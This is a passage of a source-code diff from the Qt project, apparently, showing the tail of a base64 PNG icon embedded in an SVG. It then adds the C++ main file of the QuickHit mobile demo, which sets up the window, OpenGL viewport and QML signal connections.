+39ewpoHFuSZOehEYQBIsqPr4UaUDZ4B//fu/PwuQATj7+5/6lL1d43rnIGRYDEGAdUAvZVxaHuH5
+13bwzde3ka/1UeVwSVGG8gsq/lHleCH8O+SOAJ6AzMOmFq86Ay2BMycM7j2LwvcXBe/QvujhrdK/
+/Ff/VgGIAegf/wf/5YEWHjgECUCLAAYAugBuGwNQAchEOujfzDjs9HK8udLHpWtdpOt9YJgDiQIi
+CTQ0oCWkDn67FNW54AoPsNbDWQ9YBnIPeACZg991WN7MsbZj0U8ZDIJSISFFiGAI3k4SAjGAaQBt
+AEebAZj5fgAbCIu/r97e2yUpASEJWgl4D1jH6A4s1rdTbOykwCAPslkLiJkES/MtHFtoYqqdoN3S
+UEpAyQI6th5ZbtHvZ+j2c2ztptjuZPADG1RCyugOgc4QGOWAY0AQQckgWJS67UZgE8AJAMcRDp4e
+GB04AxDRWQR5u3VbxxUUYvKCIMBwjjFKLXZ7GfKhCb8438Tp++bxwLl53H/PLO45MYPpqRitVhQs
+fwGwDzGAPDfY7abY6YxwbbWHq6t9XF7uYf06AwMDY4IdaRzBe4CIIQQKCXC7w8HcALAI4OxtHngf
+HYYR+AAAA+Ba/cV//fv/hv7+p37sFuznQoSLEKVznpEbh+Go2LWzDTz8yBI+9P6zeOrCSdxzcgbz
+s80QERQE60KCJ7MvIF6HURqSRDa3+7i62sVLr27jrxXh6pUeAEJqGNaF4Uu9T0QQt8gAN7gXLQCn
+ADx4SwO/BToMBjgDYF0IMXGCttfr39qoZcJGYc1b62GshyRgfrGFk4st/NAz9+KjP3Af7j0zC6Uk
+stxhu5tiMDJIMxtcSc8APJQElGQ0GwrnTk1haT7C4rSCVoyvSKAzDPCvsQxrgTIdmejWE0LiePJw
+sfccE9ECEc7c0sBvgQ7DBjhLRFcBNPa8c0vjSkkhXZuD+M9NyAhemG3giYcX8fgDx/CBp07j9Ikp
+9IYG19e2sbzex9rWALu9FFnmwncQxHikCa1EYX46wsKsxvyUxPGFBE88OIXM5HhzNUW7IQubgeHC
+WTIIoltWAfUzCgU1ABwD6NwtDfwW6DAkwCwzt621E4D57OzsLQ2qpISUBG898tzDe0a7qfDQvbOw
+dgr3n52DEISXXt/Ei69t4pU3trCy3kN/aDAYmWD1u8CEUgQx3owlWg2NY3MJzp1s4N6TMaRgnDsR
+Q0nCVFsjUiH+YG04jBrsgFtjgOFosiq9lDJi5jaAuVsa+C3QYUiAKe99K8uyCQnwyU/+57c0riRi
+QcTGMnLroJTA4lwD58/OoNsPyRx/++IKXru8i+deXsPyWg/5KA9mu+ewclVWCVCkDgMgJInC8YUE
+D59r4cScRDNhLEwJzM9rTDUlhACMY0jBIBAL0C2Js+efn+hSA611w1rbYuYDrzxyKEig916ORiNd
+/J4FAEG3dtOsZWIwqSIo00gU5mcSdPsjLK93cfFyBy++to1LVzvornQDUkQAYhUWmvwYBQTGzGA8
+0n6Oy50MO90Mx+ckzh7XOH0sRisBppqESBeeAADPITv8Vq7lNz7769W9YGb1xT/6D9o5J/kQMObD
+YADy3os8NxI1BrhVynILzYRGQqSVRCsBokigN8zxyhs7+OtvruHiGzvAKBSCQlMXPtvetaqnfxOg
+RACALKO7naHbZfQHCsyMc6cctARiTZAyHCRzDrDutrqBSkkpiQ7nyOlhMIBjhufqkP3toaTR9N57
+H2nlAeaMGGnmcG21j5cvbuPipW1gazRGAhM9ueNLor1/FzEDcEAEhxYr3qPV0nika2EdQ0lCpAQz
+syehfBQ3b280gMJxx+JxoHQoKoAITCTG6Tu3gSKt2RjjpZbhxGdm0O0bXF8f4Pr6AOjnAMDQkqAl
+hJaslSCtBJQK2T/Fmc+QF+gZ1joY52Ess1c+sEYGRuqx1XXY6jqMsrAmShJXRSJub4UQ5nqq0wHT
+YUUDWQgqufq20PTM9CjPshQkLciwsYzewGBzJ+hu5A7QgtCKuNWKMDMV03QrRrOhkMQaSgYkEQw4
+52GsxXBkMEgNegND/ZHl4cgCmSM4z/0RozvkAAV7QAqwkMI2m0n65FNP3c7mUr7GAAfOBIfFALTn
++buiX/u1X6df/dVf2XszxGg0VFHckAAL5xmZYQxGFj73wdCbbeD+s7M4e3IGJ5faWJpvodWM0EpU
+OORJALOHMQ55btHtp+gNMqxvD7C2PcLKxhDXHAO9HMYBqQGMBbxjeGYBa2WWjdTlN1/fp69/8Zd+
+iT73G7/xdhbwlu7Vd0tHIh/gBouPL3/pz1tLx4/NtOKltoqiyBUBIWM5uHqzDTxw/wK//12n6NHz
+x3DmxDQvLbQoiRWSKGTxUlH4ITcGxlh0eykGwwyrmz1e3ujRa5c7AJivXfdF3SHAeoLzgLMuSk3W
+3tramnnxxRdbAHbq83ubi1/Q4R01OxIMsJcWFs8e+49f+tLj3/d977kwO6XPLCwuNpwHPBOUFDi+
+2MLCbIwPve8sPvR9Z/HwfYuYn21iZioJhr4M5//KTGKTh2Nig2GKPDfY2m1ic7uFkwsRkgiQ5NFP
+izQBT3BMMNY1dnZ7Z5aXVy68/PK33rzn3keyq29+e+NO35vvlo4iA7SffNcjT3Y6u09vbW891en2
+Tk/PzCrvQ6LG7HTMD983Rw+dm8Wz77sH3//EKRw/NoVQ7SMc/wIYznt4R3CeIIpYAKDRiAlKNjDd
+BGLlYE2ONM1wfTNHMxEMIvKeYK1T/cHwdLfTeWo4HO489sh5e/XNb38FwC0GOQ6XjhQDPP30DyxY
+y++Znml/zBjz9Gg4fHw4StvGMjxCVu99p6dw36kmP/HQIt574Tjde2YGkLoI+pTVRHyRBOLDqaDi
+dBAXuYJaCehWBFpqIB21qN9vcSsR3GhKRCpIAOsYaWaOpVnWcNbJqXar9eyHP0KRpuf++I//7LaG
+vg+S7sp01p/7uZ/bpwSfeeaZ5J57zr7r2NLihyKtf9Czf9w517aW4cLu59mpmM/fM43Hzs/h/jPT
+mJ2KQ9Gn3KA/yNDrZ+gPM/SHOfrDHIPR+NEvnwc5BiOLUebATGg3JU4uaNyzpLE0K9GMBRPAnssz
+Ca7N4Me1Vj84Nzv7oWPHjr/r4x//WPJWruluoLtSAvzu7/7uhAH1C7/wCzPr6+vvZua/673/sFLy
+vQAo7GKAIRApycfmG/BmiuIIODabQElCbnww2ioJgCKdm6ts3vJwaIUHFJVDrfOQAphuCpyYEyAp
+MNUkDmEEIj921NpCivfGcQyto+j48VP+M5/5zPO/9Vu/1bnZNd0tdFdKgDr9yq/8iur3+49KKT8o
+hPiQlPICFdkYRAIgwQTiSAvMtCKan4nQboRycMORwWBokGYu5Pv5IO6rBd/z8IUqsNYjyx2GaQB+
+mD1iDbQbQCMCBXuBGBCMcWIISSkuCCE+REQfHAwGj/7yL//yXX9o8K5mgJ/5mZ+J19fXH/XeP0tE
+f4eI3ktEjXEiSMBMEQ5oUquhMNXUaMQh6dMz2BcLXhX4Kihs3v1MAC5GDfg1vGcmMLT0SDQj1gwp
+QjrSuDpBVaOgUczxI977D25sbDzykz/5k3f1saG7UgWUJIQ4wcxPAvh+AI+haHJVRMl8We6/SMog
+KYmJimKPLux4z1zrjEVlCbBAtWpgVRWQsjA0APYBJbSuPHjqISiUluVQJCAkBxbB5GJUCeBRZt4E
+cDWO4y6Aqwd1j26V7moJQERnmfk9AN5DRMf2598Xq1EVbCSSZQm32lpXa87lvg9/lzUBJ6QAMKkW
+qqJR1YPK6iBALXQ0Gbo9AeA9AJ4ionsO7AbdBrprGeCnf/qnNYAFhJzCE/s+EBaeRDimTQCBmeA8
+yHsmDjF64lDRgQEeJyB8h+peYy1QmolMzEzeM3nHVDsKVpkixXRqUyMAWAJwmojmP/3pT9+1tsBd
+ywBCCIVwMGIO4ZRMSZ5CNhCVBRuBmn9fJIiMDfTxzi7/Lj8fLP/J3VvaBX6vfVCOu4dxikIj9TKi
+xes0hXC4o4G7uD/jXWsDJEkiioaOXF/kopMHWWu57OrBzrOzjmzoCch1vc8c8rWoPNBfjDNWDVzZ
+AjWVwMzhK8U/6yqi3PGVVqlqEU6qE0tEDgAnyT5Y4K6hu5YBZmZmRLfbFcxM9V1b3ugSxy+LPjrv
+kWVZUfqtjKZwuUJj474Yh4vvByTQjccNi0dcLagn9hVzjMGD8lwCxnaCr7mYKBI6hBBYWFi4K0Eg
+4C5mgM997nPDT33qU4MkSUZEVPUAGA6HkFIizzKyxoQ+wHkGYS3nWQ7nLAkhi/OeIdtzUsSPwaCA
+C7jKW/Clc7jPNSx3P1cSqSb2wZ7LfgJkjCk7luTe++FoNOr/9m//dnYn7uFboTtuA7z88st08eLF
+G+0Qt729bQaDgc2yjMvKoEIIiqMIjUYDURSBmZFlOY9GI2R5FuoBYpxrX4nomkVfShDnbMVYZRnZ
++mfYh0e9tHxtpwcIgsYVRIUQAKqqJZxlmet0OuZG1/3lL3+Znn/++ZtIhsMDDQ9TAtzwYh977LGb
+Xm2WZc47xxRFUEXt/larxVNTU3Ti+HGem5uDjiKy1lKpDoLWH5+1qInkylSvDD3nKwYAQmpYmQ+4
+1w2s2QNUdg5hZkgpOU5iNEwTzoXmVIV6Iu893ax8zAc/+MHvsMqVT3HgquMQGaCC794SfeELXzj2
+1a9+9eRwOJwSQlCx+Gg0GpiZmcHc3ByWjh1Ds9kM5eGsYWstVfqfMSnG61TYAKEfUGAAAmGv6Pfs
+K1uh6B5GhfTg0jaRSqPVakHKUDuoZAAiUlLK2QsXHj/7T/7JLx3/4Ad/cO2t3qjv5j7dKh0KAzCz
+z/MsB/AddeHrr7/eOH/+fAzgxPXr1x+IoujC5ubmkrUWURSh3Q7Nm1utFidJgkjrAvVzcAVaVzpj
+lZVfMkBZEKT+uvehbZx1oOJQSGnn+RoTjI27crziNYQq4knShI5iaCVZRxEJIiildavVPDU/v/Bk
+uz3VuXbt2mWt1dq3X3lldP3a9e2f+ImfuKEEIKLsi1/8vzJmPpS6I4eWFOrKOm41WllZbg2Ho7k4
+jo8ppWaklMf7/f4MEZ1pNBpnHnrooQunz5w55Z2D1hpJo4FmowGpFMBclHUdIsvzsJAcGkfuXfwS
+4y/TvksVUC8cXTadQlkyvrbzPfvCDqjVJyaCoFChXEcRNJiTJEGz0UAcR4jjRLZarbPtdhve+2Nb
+W1urRLTcbrV3H3nkkZXnnntuh4hWAew89dRTE0UgnPcWCFDEQS/MgTOAtdYbY+1wOJrorr2xsXHO
+OXdfkiTnpJQPCCGWhBAnjTFTQogFIcTU9PT03NTUVBO1qpwidPeGMabUs+NFmZCeNSiIuaojXIoI
+BsNxUT7eWihZ5AkWHUInQaBwlLwKLFEoDyOVhBCCiIh9EW4WUiKKYiRJgjiO54UQTef8CSI3EEJs
+CyEGAFaZed17/zozX/7a17526X3ve99rBW4ApZQ1xjgStG/T3G46jLOBLIRQS0vHZv7tv/uDMx//
+kY8Re3641+8/TkQPSSnPCSHuJ6JFZp5nZlFW4hRSQoRegAxm750jYwxZaynP89LvD6hNHY3d68bt
+mxMqI9CYgCN4paARILtJi7/EC+pt44ikFKxDiXlCOP3EQRU5HxJFWHjnlbOuba1tl/GKAtTqMvMO
+gDeY+TIzv/rCN77xzdWV668A5F/+9quLeZ5Fvix9eoB04AyglILSemphcf7+hx54MBkMhgtCiCcB
+PEZEZ4holohmgTEk68tFc64UyVwugqu5beUzECqGENM4ZFNngDIyhEn54Av7wRReQNV7MPj8NQi4
+fIzbyAohqv5BAMM5R9YYzvMcmcogSHgZGgsUreklmKuTxNNENM3Mi8z8IDM/luX5Iyur6y8KQdtE
+dJyEuLXj02+RDpwBpqenoyiKzszMTD/TaCTOWntCCPEQM+8L8OxF+saQbUDknAtGm3WuYAhPHCo1
+oogMltHcmv/vIcY9H0DVcSBUnkChTqqoYmkzsB9LgHGcgYuTTkRSFBIqnHqqMILQY9CRK4zTYKBy
+odInDPwWgBYzn3bOnXfOPeY9rxljyFm3ZKw98FyCA2eA+fnZJIqiM81tqndBAAAVSUlEQVRm84QQ
+IvbezwJo1uHdkth7X6Rrs/fFgnPwpyvL2wcEj0unvMRkC/VfLjzqO1jUfmOPSijxA/YeVkrowrOY
+kAKVKhnbFbXOoVy2likZtVIb4Tq4mDujYNYQxKyVuQ/zmHfOTxlru1mWpXmeU55nBy+hD/oHZmZm
+YinltFa6AUxW9d7LBOy98Fw0diw6ddZAFXjvuNxNQGGJF2VeaUK479fjJYlaYKl8z1oLh6L+X50B
+9kiA0gsosn+qDiVlj6LabxJXaQJcxBJ8FUou8wnGz2FOzjltjFkIDa2yNEuz9ACXBsAhMECkI0FE
+qrTCS53NY4VaBntKkGWsBlxo0uCLPn+uaPXu/bh9qyCJPWtfBfW5vOM18oVHUBEzfBFVNEUfIVF2
+Ct0XF5j8mRueNgaKE+fj9/ZEIhDSFAIqUUgQCsfBC4DKWhhjhDH5gUP1hwYE1d21giYQrwp2re36
+0ODRVwWhrXPki3Bv2amDC/y9GrK0GzAO4lS/ART1fSdfL6UAEcEYA6VULTro90iBPVPfU2OCuewm
+x7V3qxDzxPWXuQRCEJhF1e8ojBPUx9u742+dDgUHICJDJEgI0rgJzLnH7RqrgLD4bK2DdZaccwGC
+lRIyNIIcx2dRQfkon3jPb3i+AWMwV16Fsbamz3mCCWqMQ2XyYK28RF0NlTMYp68GsXODBaXim1Uf
+YhZEhoiMEHT03cCxdQ3yflJm7lkEKm9w6XO7ws0zYfErt6809KSUtTHGemC/8TZhZ0x4GeEbCB3H
+rYXJ86pORBUF9OMHar+2XwPUWK4am+sfpD1Cb4JKRiEKfYsPo0jIYTAACyEqRqhn99Seq6bNBfLG
+NUsa3jvyod0r25rfXyxmlaFDkyL3hmDQxO/wGGutpICzEC4UkKhjAJ5LZJbL1OFxaHHvxi7VANdy
+U1DMsvYPlAKrGmHckzj0Jzz4mNBh2QATf+/blTzeNcwMF/Q/F7qfrK3EM5VGZNCbe2yKcaTnhh5A
+ncrYf91IHNsCAqoK647PEpaG4DgTBAC4TA6rSZRKslBN99NeRinxqb3B37F0eQcwwD45hwkmoNr7
+vGfX0hgTcBUI5FzR49eX2p8qN2w8ECaYYN98biAByve88/DCwYMqCVAZpzzGF+q/NeFtFHOqeAJl
+bmH9A+XqVhPnIndpPAQw6a0cEB0aA3DN/dq382uf5SLhwo+tf6rH7a1zkEIGd65cfBDqpfoYqM7/
+32xOZfevfcag9xDWgTDuEFZ6Jjf6/FhFcHFaZMwMjLFdE1QVYw/Pjal0HWm8+w/cBcAhqoAqGld7
+re4YEVG1U+o3zvtiVxb2AHuPypYsAUCiiQ1ItUUBc802H4toz/vc0uozvmKQm9gSNPn5UjVUD9Sk
+wuT75fTKqU5SJfYrU+bA6Y6ogNrr+0xiLpAz731Y+OD/F0kfwTso8fwxGlcfuAbg+DLNs3yLAV8T
+9fuxiUo6eKJaLiDqK1utU/k7BUqJsotZiRpWeQTlLHhCqdddA54MZh9eUtChpYTdjBFu+FmUO6sG
+wpRZP+whS6uK9ujJuhq+gQ3AHOICN97VdeSufiSsNnBtS5afDsmmvkhGdXtAozH7VX8xY+/W5gpW
+oImx37FGYEl7Ld3y1pQLX2/5HiRA0TJeqbD4osTTa9+v2Rfs/URdugkJUKiTUndMCJFCl5f/7Zt3
+lXVahII9V/hEwCr2ZxlXVuHN7lM19vj5EGzAu+xcQF3vc5m3P2aEulFXYQp77lLwBGv6t/xOmepV
+lwAYewzVlydGKg3M/VMNKWHFtEv7hDEx10kV89Yk4Ngo2jehA6HDaBnzlj/LQJV6NQaCynhAeAhB
+leEnykhcXYrQ2DUL4JMoPLNiN3uelAA3EOuTDnkd8RkDz+XviwKt886DyU+eM3B+j62xX/zf4I5V
+i///Ewkwhsgrn7vKxK1Z2ZU4Lo6D01gQj2nC3ENwpcaGATPD1423miQYz2Xv7AiVnuHabxCN+xYV
+iI4vVEF94euJpTVE6OZscDi2X0WH0TYu/H8cqql2UZ3Ght+kBCj/5rr4F1U9gP0SpvLJASJfSxIK
+WH7pjt7Ir98zm0oP7802YBQSQMgqz4/BVch678MXTFGBUDe4Q1STNuNcgbd8k982HYIK+E+/z/Wd
+hbpPvcdaZw47j8Q4EWMPTRiCqNsEwbgcG24e9SNfN5/8GGyqxiZUuz8wQM19LELYpfryrp7YchMj
+sBAJJbA1ZoJ3gA2wl258r+uACY996MK/Hp/UDbtSVBm24gY4QNjpXBPVJfOU6GFYLAdnx8Zb+dm9
+VGabldMsn4kIUooyNRwAggoo5lyeOA5MUGYU75c4VaWR2q7fmy52kHSIDMA3Wfzy3fFnJnR0XQXU
+d0nlBewZh1EwAAAKNaOLuj5VV1hw6CnpNWANwWgC+0k0cUx7ZHFhzJVROylEkRg6hrl93dDk8cFU
+v0falOqolrQ8KQW+21v8NuiO4QD1AE6pAZjHGICvSYGxmK7XAypsgLoHUBp6lQcAgEODyLCzGAKB
+wQiMsvmjFJjMKyzd9moxxu/V/XUpJZTWCOcDFIhMZWzWYwSlVOOayhE1NLPUASVD08TrB0t31guo
+WVZ1I7C8YdhTlqUEf0Iu4PgGTdoMYUAlQ1sXJQlEYxXAjFqeQQCCwlm+MJ5nKhpDhocsOoMKSZX0
+KOcTqpPJ4uTy2CCs2buF0XdjCVDdhhqiWXkdN8EfbjcdqgS4iU6rXIP6jhnvwrIQmICQgqWUkFJW
+xhdqbBRMhPHuJoSzJblxyIxDmjkYwzBFZ5C8KDDB3kBSKBgtJRUeBMCF6ggSJCxMwagMgISQUEqx
+1hG01qFGgBRlVg8qx7Fkaj/JBMXC06QEKB/1Szs4uqMSgMeG+hgx54ofxqKQiIudT6X4JzFRAgBA
+iBFpRZAUsPXceoxSi+1ujk7fYLdnMMo80tzBWEZuLNg7xNpjtkVYnBaYbhMiFXqTO0dBAghACYas
+lqqsPkaQUpIuahcoJUsVxYWLWnm/tTIz46ufkBVjiVb+9Q5xA8fGURkWrt5DqTKZwDxxb+quUKkv
+S3ErZaECaiHmUlxDAnnuMBwZrG+nWNvOcG19iO2uwXbHYJR7pLlHbovGkcxoNwgn5iQeOB3hrBCY
+n5YQBBjPyDKPLPewDtXvlEndoYO4QhRpxHGMPM8BAqRS4VxjyazlZTFPqKoKoqigobpxeziI0KFJ
+gNLinWAC5hteZiEaubC0SRTJcUUmMFeHLLkAeZmhJFgEjsBgZHBtbYhvvdnDm8sjXF4dYXdg0enb
+YueHxfcMOMdoJQLHZhUGqYdxwbpvJQK5EeiOgO6Q4XKPOebgUQQlQABBSsFKa0SRho40mEFSSRqr
+qeI6CiBhjGhydflEVd2hQ3H96nQoEuBGMXdgQsNNfKJ0sYSUkMGnIhYi6FulIIWsMH5CyA9UkpBa
+RrdvcOl6Hy+8tovnXuniylqG9R0DtgxkBfZfWY0AHGMgCYOeRG4cQgtiwrG5CM4xrm8xtjYZkhlz
+c2GmQgQ7QwiClApxFKORNGCthWfPSmkqbAKuM0KBSlU/TzUXZq///47xAvamgdWpWEDef50B6y8B
+HxTp36owAEsVQERQSkBJASU9+oMMa9sZXrrUx998q4cXLg5g+i50EJMEwAHSI3QNLVp/uoIRcsLK
+Rg5JBsQWxxebIFK4uuqxuwO0NOFUJsAkQkMJJeC9nFQBJof3HlKKQlXVDFaxh91LXYBJJkDJCBUC
+ebB04AxQpoQD++yAwvTFpBlExKGnnwh5/wBxaDlXHDVXEEJWJV20Eoh0OHrd6Vt+/eoQz7/axTcv
+9WE20lAHTXuoFqMZOTQjpoZmaAlWMtT8tx48yhzl1sMbxyvrDr2BgaMYy5s5ej3CfEvj/Egjd6pY
+YMB5glQKcRyj2WwU7qWFIMFKq+AZaMVSFYxA1SmmqsI0atZguAdlajhV5xgPkg5FAtTVQI2rCxcJ
+hT0NhMsXJARBsgAVu6i0CbTWiKMISdKgOA6Vw5rNCLEWGKaGOkPGG6s5Li2nyHdzABY0RTg2ZbE4
+w5hrMdoJcbshEGtFkZIgIeAZNMo994YOw9TSKB9hOMjRSSOsbnq4oYPzGt2sCYMGojhBI4kghEOj
+kZAxbXjvWWsN5xwzmGoeS90eqIn2MYYRjILg++1XAwdLh9I7eN8L4eK4njIFoLhhXCz62DcWQngh
+JWulSClFWmuWImB6BA/nGINhjrXtFNfWR9jqpIBPSU0bnD9OOL3gsTQrsTCj0W5GmG4niKOIkzgi
+pRRAgp1n9IcG3X6K1a0hVrdSYGOEdXIYOYHUaO6lGv1MIM0drM3BPtgfcRKjzVOIoqhEMT0YwnPo
+PlpKMyELVVBbfwBcZhmWAHAFJr0T3EDUMLF64ANFkcoSuStFnyx8OVEucBCHgigUbiiTLTJCONMf
+/sDqdobV9R10e0NoMohmDN97zOCRMxKnFhXmphuYm2lT0mjSVLuFOI6RJAlrrSGlIikJubFIRyOs
+be7y9bUdzLS6YG9wkT2gmIapxdbOACtrW2A7AEOgN7RVrEIqCcmycO65EnFl/oIq1EANdK5UfbAG
+DicJpE6H1Du4EmfhMvcZhsG5Lo0lIYRl9t5aK5xzKh/lEyVhrLXw3sFag0iGLJy1HYsrVwYY9buY
+baSYb1o8egZ44LTC8cUptFrTmJqeRZy00GpPIQoMAK0VtNJQqjgJ5HIsLHRwfLGNufYqYr2DSKXY
+6Fvkow6uXvN4OdnB5lzA/40VkEqDqIgMEkEpDaUVoihyWqtUScVEpIkoFnsWOcg53ivuSz/xO4TP
+bg8dlgqQRBTd/AMEEDIiDISQHQZ3vfN5Okpb3V53qdPpLI5GI4zSFNaYUNTJWVhrQAgMsd1jbK4z
+lHc4PWdxchZ0dinmxblWWPjGDJLmDKKkiShpI4oj1nEcrPXgrpEigiCG1AmajRhaCYAkrNuiSys5
+cruD9dUOvmWB9WkKx9OhoXQEISS0DjZL0mig2WxidnZ2dXZmZiVuxkMCEgbm2ftpImoCSML9ryOD
+1XpHeKd0DxdCEPPECZmSsS0R9QEMGLxFoB2AN6JIr0gp14yx+erq6rGVldVHNjbWHx0MBseGw6E2
+xua5yT1757yzBDi2ltEdkeiNoigmGc9O6ejEnMLcTEKNRot11IbSTSgdRL7SEkpJKCVJSgEpBQsp
+uBLVuomkxZibS3H6hKGdToo8z7Gy0Xe93TS/luam1wQrJYiEJqU0E0mllCQlZZQ0G1m71V7Osuwb
+cRS9eOLEiU1BlBhjTqRZdpyIFikUxloEUOsrMGYCBgQfQp+Bw/ACplDpewYCV28C2AZ4pfj7OhFt
+MON6s9m8Pjc7u9brD8xf/MVfnnzjjTeWd3a2d7I8P5PnecM5l3vnHYEtERPgrWdyWSa1BJbasTo9
+1ZBLSSxAFMFyTMYrFp5CG7jioGkJMZfh5vLMIZGAMQ7eCTjEUDpBqxlhti3Q69punpm1LEu3RoKs
+IAgSuSouT1Oo/RNFke7FcfLGYDD4iiD6+jNPP72sldLrGxtLWZ6fJKITABaZcYaIFgA+TYRFIiwB
+aBTBsAi4udS8XXQYEkBwqBCSEdE6gDVmvgRgmRmXmbEBYJmIdoho4+zZc5tEVFbYvvTUU0+tz87O
+Xoui6IQQokmheIIXgqySQhBhxFDGOxdr7R+OI/eeRPuYwDOhmbSHtZakNT43OREBQhYLD66qgYxD
+uQRjLRuTi1GaI80NwB6J9r1WzN+G5RescRe9lxmDNXkkzlt4Zs3eSx8eHWvMlReef/6Fz372s6/+
+7M/+bHk9r7z00ktz3vtFZp5l5pMA5olwlohOEdF5AKeY+QSzb4E5vsEtva10GAww8N73KZRF/TYz
+vw7gFYRqmdeZucvMu1rr7MKFC3tLq+df//rXXzt58uTuvffeOz07MxPpKPJxHLPWysdRRI0kGiSN
+dr661Yvy3KwRfMTen81zOzMYZRBqBKk0QERKCmb2BELZeQROh7y9yvVkcJ5nNBwOsb3TwfZOF/3h
+EM7aTS3xQjPRX0LcfvHE0kxubR5Zy61QqNqpUNfHoN/rDVaWl7defPnlNQAT13ThwoWdS29c2h32
+h7GHe1NK0bTWn1BKHWfGgwDOe+8f9Z5PMXj+oNfnwBlASvk3RLTJzBcBPM/MF733V7TWnSeeeGL0
+FobIV1ZWrq+srFz/T33wUz/290ZCNVtgec5asZBm2YyQIaZQIvCRjdh7T1ppstZyGceXSjKBmD0j
+TUfodnu0vb2N3d0ORsNBx9nsJbjRX7pR7y/+4A//sGoD91M/89+pza0NluTFYDDA5Tcv86VLl+x3
+muf9993PANLigevLl69MtWfbKyurr6Zpeq/z/pLz7v5CQhwoHYYE+FMA60KIN5j51cFgsPaBD3zg
+O5Y/+7Vf+6d04bEL+LFPfeq7coN+/9/8+7X/4pOffFmp6BuAOSWy9L0lluC8E845xHEMZ0PxaWNN
+1YdASEHeM5y1GA6G6Ha72NndRa/XxWAweD1N068PBv1vfv4P//Ba/Tf/xf/x2+Vi37Su7xe+8AW6
+dPEi/fc///M3tOpPnzrHAHrM/Mrf/u3XN40xm87ZS8x+6bu5/rdDh1Eq9osAOlEUrT/wwAO9t/Kd
+X/3Vf/q2/d/e+muvxGef+DKDI2QkvPcPMXPLGIM8yxHHMdIkQ6Q1tNYocfpSLeR5jtFwhMFggF6v
+PxyNhq8Oh8M/M3n65Vef++Nvo+arvVX6xCc+MeHj3YwoNKHc/B9+4X/cfejBhy5LIafexi34rujA
+GaDVar08PT2dE9244tU3vvENIiK8613vetuL/uM/9d/Qv/wXv8MA8Cd/+eLox04+8qJkFgFu9lsA
+nnDOLVprZZ7nyLMcumCACp5lVA2o0jT1aZpujUajb2ZZ9jfpaPT/ZOnopW9dS29b4cayXcxgMMAz
+zzwzce3/y//0P1sAG//Vj39s83b93s3okIHHw6OPfuSj03MLCxeUUu9SSn2/lPK81vqMVjpRSiVK
+KZJSytAjAK5wBVNjTJbn+bUsyy6mafrX6Sh9/vVXX33xxZdf7N7pazoIOnQGeOONN+i+++47cIgT
+AP7uxz7earQap7XWjwshHlZSPSKEOKGUWhJCxFLKqIBgjWefeec3rbVrxppvG2NeGQ6HL6yvrV/7
+6lf/qn8Y8/385z9PP/qjP3oo96akd6wEqNMP//DHTjcajQe11u+WUj4opbxXCDEjhEhC+iin3vue
+tfaKtfZimqbPd7qdV77851+6fKfnftD0/wHqxrHboq02DgAAAABJRU5ErkJggg==
+"
+ height="128"
+ width="128" />
+ </g>
+</svg>
diff --git a/demos/mobile/quickhit/main.cpp b/demos/mobile/quickhit/main.cpp
new file mode 100644
index 00000000..e6e021da
--- /dev/null
+++ b/demos/mobile/quickhit/main.cpp
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include <QDesktopWidget>
+#include "mainwindow.h"
+
+// Lock S60 orientation
+#ifdef Q_OS_SYMBIAN
+#include <eikenv.h>
+#include <eikappui.h>
+#include <aknenv.h>
+#include <aknappui.h>
+#endif
+
+#ifndef QT_NO_OPENGL
+ #include <QGLWidget>
+#endif
+
+
+int main(int argc, char *argv[])
+{
+ QApplication a(argc, argv);
+
+ // Lock S60 orientation
+#ifdef Q_OS_SYMBIAN
+ CAknAppUi* appUi = dynamic_cast<CAknAppUi*> (CEikonEnv::Static()->AppUi());
+ TRAPD(error,
+ if (appUi) {
+ appUi->SetOrientationL(CAknAppUi::EAppUiOrientationPortrait);
+ }
+ );
+#endif
+
+ MainWindow w;
+
+#ifndef QT_NO_OPENGL
+ // Use QGLWidget to get the opengl support if available
+ QGLFormat format = QGLFormat::defaultFormat();
+ format.setSampleBuffers(false);
+
+ QGLWidget *glWidget = new QGLWidget(format);
+ glWidget->setAutoFillBackground(false);
+ w.setViewport(glWidget); // ownership of glWidget is taken
+#endif
+
+ QObject *rootObject = dynamic_cast<QObject*>(w.rootObject());
+
+ // For Qt.exit() from QML
+ QObject::connect((QObject*)w.engine(), SIGNAL(quit()), &a, SLOT(quit()));
+ // Level activation signal from QML
+ QObject::connect(rootObject, SIGNAL(levelActivated(int)), &w, SLOT(levelActivated(int)));
+
+#if defined (Q_OS_SYMBIAN) || defined (Q_WS_MAEMO_5)
+ w.setGeometry(QApplication::desktop()->screenGeometry());
+ w.showFullScreen();
+#else
+ w.setGeometry(100,100,360,640);
+ w.setFixedSize(360,640);
+ w.show();
+#endif
+
+ return a.exec();
+}
